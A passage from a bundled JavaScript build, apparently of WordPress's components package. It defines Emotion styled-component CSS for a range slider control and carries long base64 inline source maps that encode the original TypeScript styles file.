25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */");
30658 var Root2 = /* @__PURE__ */ createStyled("div", false ? {
30659 target: "e1epgpqk14"
30660 } : {
30661 target: "e1epgpqk14",
30662 label: "Root"
30663 })("-webkit-tap-highlight-color:transparent;align-items:center;display:flex;justify-content:flex-start;padding:0;position:relative;touch-action:none;width:100%;min-height:40px;", deprecatedHeight, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQW1DMkMiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWx